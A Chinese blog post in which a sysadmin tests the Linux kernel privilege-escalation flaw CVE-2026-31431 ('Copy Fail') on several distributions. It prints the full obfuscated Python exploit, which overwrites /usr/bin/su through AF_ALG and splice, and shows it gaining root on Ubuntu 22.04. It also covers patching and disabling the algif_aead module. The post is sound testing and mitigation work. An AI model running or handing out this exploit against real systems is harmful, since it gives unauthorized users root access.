背景
别人在景区看人海,我在家里蹲看内核 panic。
这个五一,我亲自验证了号称“Copy Fail”的 CVE-2026-31431。
漏洞背景:一颗 732 字节的“核弹”
放假前夕,科技媒体 CyberKendra 爆了个大瓜:Linux 内核又出高危漏洞了,编号 CVE-2026-31431,代号“Copy Fail”。亮点(或者说槽点)十足:
-
732 字节的 Python 脚本,短得像一首俳句。
-
通杀几乎所有主流发行版,提权到 root。
-
利用内核的
AF_ALG加密接口和splice系统调用,绕过文件完整性检查,从普通用户一跃成为系统主人。
自打 centos7.9 退役后,平日工作 Ubuntu 接触最多,正好手边有几台实验服务器,趁着假期家里蹲,亲测一下到底灵不灵。

大名鼎鼎的漏洞利用脚本
这是 GitHub 上公开的 exploit 真身,(务必合法使用):
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
核心逻辑就是跟内核的加密套接字套近乎,然后通过 splice 把 /usr/bin/su 的数据“拼接”到内核里,一顿操作猛如虎后,安静的弹出一个 root shell。
实测:几家欢喜几家愁
既然要玩,就得雨露均沾。我翻出手头的几台机器,用普通用户 normal 逐一测试,结果如下:
| 操作系统 | 报错信息 | 是否受影响 | 备注 |
|---|---|---|---|
| Ubuntu 24.04 | FileNotFoundError: [Errno 2] No such file or directory |
❌ 否 | 内核缺算法,逃过一劫 |
| Rocky Linux 8 | AttributeError: module 'os' has no attribute 'splice' |
❌ 否 | Python 太老,玩不了这花活 |
| TencentOS Server 3.1 | FileNotFoundError: [Errno 2] No such file or directory |
❌ 否 | 同样缺模块 |
| CentOS 7.9 | AttributeError: module 'os' has no attribute 'splice' |
❌ 否 | 老人家表示没听说 os.splice |
| Ubuntu 22.04 | (成功,直接返回 #) |
✅ 中招 | 非常“争气” |
在 Ubuntu 22.04 上,几行输出后,终端光标就静静停在了 # 后面:
# id
uid=0(root) gid=1002(normal) groups=1002(normal)
是的,root 就这么到手了,廉价的让人有点恍惚。
看来攻击者最爱 Ubuntu 22.04 不是没道理的,环境“刚刚好”。
为什么有的系统不行?
-
FileNotFoundError是因为内核里没有注册authencesn(hmac(sha256),cbc(aes))这个加密算法。标准内核一般只有authenc(...),这个esn变体需要额外模块或特定编译选项。平时用不上,反而成了天然屏障。 -
AttributeError: ... 'splice'是因为 Python 版本太老。os.splice是 Python 3.10 才加入的,RHEL 8 系默认 Python 3.6,自然罢工。
也就是说,这个 exploit 同时要求 内核有特定算法 + Python ≥ 3.10,缺一不可。Ubuntu 22.04 恰好完美满足了所有条件,堪称“漏洞宠儿”。
修复与临时止血
如果你是管理员,看到这里估计已经在找紧急加固方案了。
1. 根治办法:更新内核
各大发行版应该已经推送了补丁,直接升级就好:
|
1 |
<span class="token function">sudo</span> <span class="token function">apt</span> update <span class="token operator">&&</span> <span class="token function">sudo</span> <span class="token function">apt</span> upgrade <span class="token comment"># Debian/Ubuntu</span> |
2. 紧急止血:禁用相关内核模块
如果暂时不能重启或更新,立即执行这两条命令,阻断利用路径:
|
1 2 |
<span class="token builtin class-name">echo</span> <span class="token string">"install algif_aead /bin/false"</span> <span class="token operator">></span> /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null |
这招相当于直接卸掉攻击者的“炮管”,再猛烈的 exploit 也只能干瞪眼。
后话:容器逃逸也在射程内
这个漏洞利用的是 page cache 内核全局共享 的特性,意味着它在容器里同样能生效 —— 从区区一个容器直接逃逸到宿主机 root。
今天放假,就不折腾容器环境了,留给上班后再试。
总结一句话:CVE-2026-31431 门槛极低、效果炸裂,但只要系统不是“刚刚好”的环境,它就嚣张不起来。赶紧看看你的 22.04,没打补丁的话,这假期可过不安稳。
文章评论